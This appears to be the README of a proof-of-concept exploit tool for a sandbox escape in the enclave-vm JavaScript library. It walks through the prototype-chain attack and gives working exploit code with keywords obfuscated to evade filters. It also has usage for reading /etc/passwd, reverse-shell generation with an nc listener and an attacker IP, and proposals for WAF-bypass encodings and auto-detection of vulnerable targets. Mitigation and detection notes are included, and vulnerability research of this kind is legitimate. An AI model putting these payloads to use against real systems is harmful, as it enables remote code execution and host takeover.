CVE-2026-22686 — enclave-vm Sandbox Escape PoC

A proof-of-concept (PoC) exploit and payload generator for CVE-2026-22686, a critical sandbox escape vulnerability in enclave-vm versions prior to 2.7.0, allowing arbitrary code execution within the host Node.js runtime.

⚠️ Disclaimer: This tool is provided for educational and authorized security testing purposes only. Usage against systems without prior written consent is illegal. The author assumes no liability for any misuse.

---

📖 Table of Contents

• Overview
• Vulnerability Details
• How It Works
• Installation
• Usage
• Payload Anatomy
• Mitigation
• Legal
• References
• Author
• License

---

🔍 Overview

enclave-vm is a JavaScript sandboxing library designed to safely execute untrusted code inside a controlled environment. In versions < 2.7.0, a flaw in how host-side error objects are exposed to the sandbox allows an attacker to traverse the prototype chain and reach the host's Function constructor, effectively escaping the sandbox.

This repository contains:

• A payload generator that produces a ready-to-paste JavaScript payload
• Support for arbitrary command execution on the host
• Support for reverse shell payloads
• A bilingual interactive CLI (French / English)

---

🛡️ Vulnerability Details

Field	Value
CVE ID	CVE-2026-22686
CVSS v3.1	10.0 (Critical)
CWE	CWE-693 — Protection Mechanism Failure
Component	enclave-vm
Affected	< 2.7.0
Fixed in	2.7.0
Impact	Sandbox escape → arbitrary code execution (RCE)

Root Cause

When a sandboxed tool call fails, enclave-vm exposes the host-side Error object back to the sandboxed code. Because this error object retains its original prototype chain from the host environment, an attacker can walk up the chain as follows:

Error instance
   └── Error.prototype
        └── Error constructor
             └── Function constructor  ← host Function!

Once the host Function constructor is obtained, the attacker can compile and execute arbitrary JavaScript in the host runtime — completely bypassing the sandbox.

---

⚙️ How It Works

The exploit follows these steps:

1. Trigger a host-side error by invoking a non-existent tool (callTool('NONEXISTENT', {})).
2. Retrieve the error object from the sandbox (it keeps a reference to the host prototype chain).
3. Walk the prototype chain to reach Error.prototype.constructor.constructor, which is the host's Function.
4. Compile the attacker's payload using the host Function and execute it.
5. The payload loads child_process and executes an arbitrary shell command (or spawns a reverse shell).

All sensitive keywords (constructor, __proto__, __lookupGetter__, prototype) are obfuscated as ASCII character codes to bypass naive static filters.

---

📦 Installation

No external dependencies — uses only the Python standard library.

git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py

Requirements:

• Python 3.8+

---

🚀 Usage

Interactive Mode

python3 generator.py

You will be prompted to:

1. Select your language (French / English)
2. Select the payload type (command or reverse shell)
3. Provide the command / IP / port

Then copy the generated payload and paste it into the vulnerable sandbox input.

Command Execution

python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"

Reverse Shell

Terminal 1 (attacker — listener):

nc -lvnp 4444

Terminal 2 (generator):

python3 generator.py --revshell 10.10.15.152 4444

Copy the resulting payload and paste it into the sandbox. You should receive a shell in Terminal 1.

Raw Payload Output

python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard

CLI Options

Flag	Description
-c, --command	Shell command to execute
--revshell LHOST LPORT	Generate a reverse shell payload
--raw	Print only the payload (no banner, no decoration)
--lang {fr,en}	Force the interface language
-h, --help	Show help and examples

---

🔬 Payload Anatomy

1. ASCII Decoder

const s = (...args) => String.fromCharCode(...args);

A tiny helper to decode ASCII code arrays at runtime.

2. Obfuscated Keywords

const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"

Avoids trivial string-based filters.

3. Exploit Chain

const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);

let hostError;
try {
    await callTool('NONEXISTENT', {});
} catch (e) {
    hostError = e;
}

const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon];   // Host's Function constructor
const result = HostFunc(payload)();      // Arbitrary code execution

The host Function is then used to execute the attacker's command via child_process.execSync().

---

🛡️ Mitigation

For Developers:

• Upgrade enclave-vm to >= 2.7.0.
• Audit your dependency tree regularly (npm audit, Snyk, Dependabot).
• Never expose sandbox execution features to untrusted input without additional validation.
• Run sandboxed code in isolated processes (e.g. isolated-vm, gVisor, Firecracker).

For Users / Organizations:

• Monitor for outdated sandbox libraries in production.
• Restrict outbound network access from any process that executes user code.
• Apply the principle of least privilege: run Node.js processes as non-root.

Detection:

Look for HTTP requests or code submissions containing callTool('NONEXISTENT', __lookupGetter__, long arrays of comma-separated integer literals, or child_process / execSync.

---

⚖️ Legal

This project is published strictly for educational and defensive security research. It is intended for security researchers, authorized penetration testers, and CTF players.

Do not use this tool against systems you do not own or lack explicit written authorization to test. Unauthorized access to computer systems is illegal in most jurisdictions (CFAA in the US, Computer Misuse Act in the UK, Article 323-1 in France) and may result in severe criminal penalties.

By using this software, you agree that the author is not responsible for any damages or legal consequences resulting from its use.

---

📚 References

• enclave-vm on npm
• Original PoC by @amusedx
• CWE-693: Protection Mechanism Failure
• Node.js child_process documentation
• OWASP: Sandboxing Best Practices

---

👤 Author

• GitHub: @moi_404

---

📄 License

This project is licensed under the MIT License — see the LICENSE file for details.

---

🙏 Acknowledgments

• @amusedx for the original vulnerability research and PoC
• The enclave-vm maintainers for the responsible disclosure and fix
• The security community for ongoing research on JavaScript sandbox escapes

---

⭐ Contributing

Pull requests are welcome. For major changes, please open an issue first.

Suggested improvements:

• Additional encodings (base64, hex, rot13) to bypass WAFs
• Auto-detection of vulnerable endpoints
• Support for other sandbox libraries (vm2, isolated-vm)
• Unit tests and CI integration